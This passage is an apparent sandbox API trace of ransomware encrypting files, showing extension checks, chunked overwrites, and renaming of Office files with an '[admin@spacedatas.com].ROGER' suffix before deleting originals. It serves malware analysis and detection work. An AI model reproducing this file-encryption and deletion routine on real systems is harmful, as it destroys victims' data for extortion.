lpString2=".avi") returned 1 [0041.375] lstrlenW (lpString=".xlsx") returned 5 [0041.375] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0041.375] lstrlenW (lpString=".ppt") returned 4 [0041.375] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0041.375] lstrlenW (lpString=".zip") returned 4 [0041.375] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.375] lstrlenW (lpString=".rar") returned 4 [0041.375] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.375] lstrlenW (lpString=".bz2") returned 4 [0041.375] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.375] lstrlenW (lpString=".7z") returned 3 [0041.375] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0041.375] lstrlenW (lpString=".dbf") returned 4 [0041.375] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0042.240] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=384) returned 1 [0042.240] CloseHandle (hObject=0x390) returned 1 [0042.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0042.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.241] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.241] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.241] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.241] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.241] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.241] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.241] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.241] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.241] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.241] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.241] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.241] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.242] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.242] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.242] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.242] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.242] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0042.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0042.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0042.395] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffc6c | out: lpNewFilePointer=0x0) returned 1 [0042.395] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffc2c | out: lpNewFilePointer=0x0) returned 1 [0042.395] ReadFile (in: hFile=0x398, lpBuffer=0x4b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x40ffc38, lpOverlapped=0x0 | out: lpBuffer=0x4b80058*, lpNumberOfBytesRead=0x40ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.399] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x40ffc2c | out: lpNewFilePointer=0x0) returned 1 [0042.399] ReadFile (in: hFile=0x398, lpBuffer=0x4bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x40ffc38, lpOverlapped=0x0 | out: lpBuffer=0x4bc0058*, lpNumberOfBytesRead=0x40ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.402] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x40ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.402] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x40ffc2c | out: lpNewFilePointer=0x0) returned 1 [0042.402] ReadFile (in: hFile=0x398, lpBuffer=0x4c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x40ffc38, lpOverlapped=0x0 | out: lpBuffer=0x4c00058*, lpNumberOfBytesRead=0x40ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.416] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.417] WriteFile (in: hFile=0x398, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x40ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0042.724] SetEndOfFile (hFile=0x398) returned 1 [0042.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e90098 [0042.725] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffc7c | out: lpNewFilePointer=0x0) returned 1 [0042.725] WriteFile (in: hFile=0x398, lpBuffer=0x4e90098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x40ffc88, lpOverlapped=0x0 | out: lpBuffer=0x4e90098*, lpNumberOfBytesWritten=0x40ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.731] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x40ffc7c | out: lpNewFilePointer=0x0) returned 1 [0042.731] WriteFile (in: hFile=0x398, lpBuffer=0x4e90098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x40ffc88, lpOverlapped=0x0 | out: lpBuffer=0x4e90098*, lpNumberOfBytesWritten=0x40ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.733] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x40ffc7c | out: lpNewFilePointer=0x0) returned 1 [0042.733] WriteFile (in: hFile=0x398, lpBuffer=0x4e90098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x40ffc88, lpOverlapped=0x0 | out: lpBuffer=0x4e90098*, lpNumberOfBytesWritten=0x40ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.735] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e90098 | out: hHeap=0x790000) returned 1 [0042.735] CloseHandle (hObject=0x398) returned 1 [0043.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0043.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.763] lstrlenW (lpString=".doc") returned 4 [0043.763] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.763] lstrlenW (lpString=".docx") returned 5 [0043.763] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0043.763] lstrlenW (lpString=".pdf") returned 4 [0043.763] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.763] lstrlenW (lpString=".xls") returned 4 [0043.763] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.763] lstrlenW (lpString=".xlsx") returned 5 [0043.763] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0043.763] lstrlenW (lpString=".ppt") returned 4 [0043.763] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.763] lstrlenW (lpString=".zip") returned 4 [0043.763] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.763] lstrlenW (lpString=".rar") returned 4 [0043.763] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.763] lstrlenW (lpString=".bz2") returned 4 [0043.763] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.763] lstrlenW (lpString=".7z") returned 3 [0043.763] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.764] lstrlenW (lpString=".dbf") returned 4 [0043.764] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.764] lstrlenW (lpString=".1cd") returned 4 [0043.764] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.764] lstrlenW (lpString=".jpg") returned 4 [0043.764] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.764] lstrlenW (lpString=".doc") returned 4 [0043.764] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.764] lstrlenW (lpString=".docx") returned 5 [0043.764] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0043.764] lstrlenW (lpString=".pdf") returned 4 [0043.764] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.764] lstrlenW (lpString=".xls") returned 4 [0043.764] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.764] lstrlenW (lpString=".xlsx") returned 5 [0043.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0043.764] lstrlenW (lpString=".ppt") returned 4 [0043.764] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.764] lstrlenW (lpString=".zip") returned 4 [0043.764] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.764] lstrlenW (lpString=".rar") returned 4 [0043.764] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.764] lstrlenW (lpString=".bz2") returned 4 [0043.764] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.764] lstrlenW (lpString=".7z") returned 3 [0043.764] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.765] lstrlenW (lpString=".dbf") returned 4 [0043.765] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.765] lstrlenW (lpString=".1cd") returned 4 [0043.765] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0043.765] lstrlenW (lpString=".jpg") returned 4 [0043.765] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.765] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0043.765] lstrlenW (lpString="SETUP.XML") returned 9 [0043.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.139] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=9352) returned 1 [0044.140] CloseHandle (hObject=0x350) returned 1 [0044.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0044.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.140] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.140] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.140] GetLastError () returned 0x0 [0044.140] ReadFile (in: hFile=0x350, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x2488, lpOverlapped=0x0) returned 1 [0044.142] WriteFile (in: hFile=0x38c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x2490, lpOverlapped=0x0) returned 1 [0044.143] ReadFile (in: hFile=0x350, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.143] WriteFile (in: hFile=0x38c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.143] SetEndOfFile (hFile=0x38c) returned 1 [0044.143] CloseHandle (hObject=0x38c) returned 1 [0044.144] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.144] SetEndOfFile (hFile=0x350) returned 1 [0044.145] CloseHandle (hObject=0x350) returned 1 [0044.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.145] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0044.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.146] lstrlenW (lpString=".doc") returned 4 [0044.146] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.146] lstrlenW (lpString=".docx") returned 5 [0044.146] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.146] lstrlenW (lpString=".pdf") returned 4 [0044.146] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.146] lstrlenW (lpString=".xls") returned 4 [0044.146] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.146] lstrlenW (lpString=".xlsx") returned 5 [0044.146] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.146] lstrlenW (lpString=".ppt") returned 4 [0044.146] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.146] lstrlenW (lpString=".zip") returned 4 [0044.146] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.146] lstrlenW (lpString=".rar") returned 4 [0044.146] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.146] lstrlenW (lpString=".bz2") returned 4 [0044.146] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.146] lstrlenW (lpString=".7z") returned 3 [0044.146] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.146] lstrlenW (lpString=".dbf") returned 4 [0044.146] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.146] lstrlenW (lpString=".1cd") returned 4 [0044.146] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.146] lstrlenW (lpString=".jpg") returned 4 [0044.146] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.147] lstrlenW (lpString=".doc") returned 4 [0044.147] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString=".docx") returned 5 [0044.147] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.147] lstrlenW (lpString=".pdf") returned 4 [0044.147] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString=".xls") returned 4 [0044.147] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString=".xlsx") returned 5 [0044.147] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.147] lstrlenW (lpString=".ppt") returned 4 [0044.147] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.147] lstrlenW (lpString=".zip") returned 4 [0044.147] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.147] lstrlenW (lpString=".rar") returned 4 [0044.147] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString=".bz2") returned 4 [0044.147] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString=".7z") returned 3 [0044.147] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.147] lstrlenW (lpString=".dbf") returned 4 [0044.147] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.147] lstrlenW (lpString=".1cd") returned 4 [0044.147] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0044.147] lstrlenW (lpString=".jpg") returned 4 [0044.147] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.148] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.148] lstrlenW (lpString="SETUP.XML") returned 9 [0044.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.150] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2362) returned 1 [0044.150] CloseHandle (hObject=0x38c) returned 1 [0044.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0044.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0044.150] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.150] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0044.545] GetLastError () returned 0x0 [0044.545] ReadFile (in: hFile=0x38c, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x93a, lpOverlapped=0x0) returned 1 [0044.783] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x940, lpOverlapped=0x0) returned 1 [0044.784] ReadFile (in: hFile=0x38c, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.784] WriteFile (in: hFile=0x3a0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.784] SetEndOfFile (hFile=0x3a0) returned 1 [0044.784] CloseHandle (hObject=0x3a0) returned 1 [0044.785] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.785] SetEndOfFile (hFile=0x38c) returned 1 [0044.786] CloseHandle (hObject=0x38c) returned 1 [0044.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 